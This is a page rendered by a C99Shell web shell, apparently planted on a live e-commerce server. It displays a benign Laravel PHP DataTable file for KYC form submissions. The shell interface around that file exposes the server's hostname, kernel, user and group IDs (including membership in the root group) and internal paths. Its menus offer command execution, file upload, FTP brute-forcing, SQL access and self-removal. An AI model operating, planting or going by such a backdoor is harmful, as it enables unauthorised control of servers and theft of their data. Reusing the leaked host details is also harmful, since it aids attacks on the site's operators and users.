!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/FormBuilder/DataTables/   drwxr-xr-x
Free 23.75 GB of 117.98 GB (20.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     KycFormTable.php (4.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package KycFomTable
 * @author TechVillage <support@techvill.org>
 * @contributor Muhammad AR Zihad <[zihad.techvill@gmail.com]>
 * @created 21-03-2022
 */

namespace Modules\FormBuilder\DataTables;

use 
App\DataTables\DataTable;
use 
Modules\FormBuilder\Entities\Submission;

class 
KycFormTable extends DataTable
{
    
/*
    * DataTable Ajax
    *
    * @return \Yajra\DataTables\DataTableAbstract|\Yajra\DataTables\DataTables
    */
    
public function ajax()
    {
        
$sub $this->query();
        return 
datatables()
            ->
of($sub)

            ->
editColumn('username', function ($sub) {
                return 
$sub?->user?->name;
            })->
addColumn('form_submissions.updated_at', function ($sub) {
                return 
$sub->format_updated_at;
            })->
addColumn('form_submissions.created_at', function ($sub) {
                return 
$sub->format_created_at;
            })->
addColumn('action', function ($sub) {
                
$edit '<a title="' __('Edit :x', ['x' => __('Submission')]) . '" href="' route('formbuilder::kyc.sub-edit', [$sub->id]) . '" class="btn btn-xs btn-primary"><i class="feather icon-edit neg-transition-scale-svg " aria-hidden="true"></i></a>&nbsp';

                
$delete '<form method="post"
                            action="' 
route('formbuilder::kyc.delete', ['id' => $sub->id]) . '"
                            id="delete-submission-' 
$sub->id '" accept-charset="UTF-8"
                            class="display_inline">
                            ' 
csrf_field() . '
                            ' 
method_field('DELETE') . '
                            <button title="' 
__('Delete :x', ['x' => __('Submission')]) . '" class="btn btn-xs btn-danger"
                                type="button"
                                data-form="delete-submission-' 
$sub->id '"
                                data-id=' 
$sub->id '
                                data-title="' 
__('Delete :x', ['x' => __('Submission')]) . '"
                                data-delete="submission" data-label="' 
__('Delete') . '"
                                data-bs-toggle="modal" data-bs-target="#confirmDelete"
                                data-message="' 
__('Are you sure to delete this?') . '">
                                <i class="feather icon-trash-2"></i>
                            </button>
                        </form>'
;

                
$view '<a href="' route("formbuilder::kyc.sub-view", [$sub->id])  . '"
                            class="btn btn-primary btn-xs me-2" title="View submission">
                            <i class="fa fa-eye"></i>
                         </a>'
;

                return 
$view $edit $delete;
            })

            ->
rawColumns(['username''visibility''action''edit_allow'])
            ->
make(true);
    }

    
/*
    * DataTable Query
    *
    * @return mixed
    */
    
public function query()
    {
        
$subs Submission::select('form_submissions.id''form_submissions.updated_at''form_submissions.created_at''users.id as user_id''users.name')->whereHas('form', function ($q) {
            
$q->where('type''kyc');
        })->
with('user:id,name');

        if (isset(
request('search')['value'])) {
            
$keyword xss_clean(request('search')['value']);
            if (!empty(
$keyword)) {
                
$subs->whereHas('user', function ($q) use ($keyword) {
                    
$q->where('name''like''%' $keyword '%');
                });
            }
        }
        return 
$this->applyScopes($subs);
    }

    
/*
    * DataTable HTML
    *
    * @return \Yajra\DataTables\Html\Builder
    */
    
public function html()
    {
        return 
$this->builder()

            ->
addColumn(['data' => 'username''name' => 'user.name''title' => __('Name')])
            ->
addColumn(['data' => 'form_submissions.updated_at''name' => 'form_submissions.updated_at''title' => __('Updated On'), 'orderable' => false])
            ->
addColumn(['data' => 'form_submissions.created_at''name' => 'form_submissions.created_at''title' => __('Created On'), 'orderable' => false])
            ->
addColumn([
                
'data' => 'action''name' => 'action''title' => __('Action'), 'width' => '15%',
                
'orderable' => false'searchable' => false
            
])
            ->
parameters(dataTableOptions());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--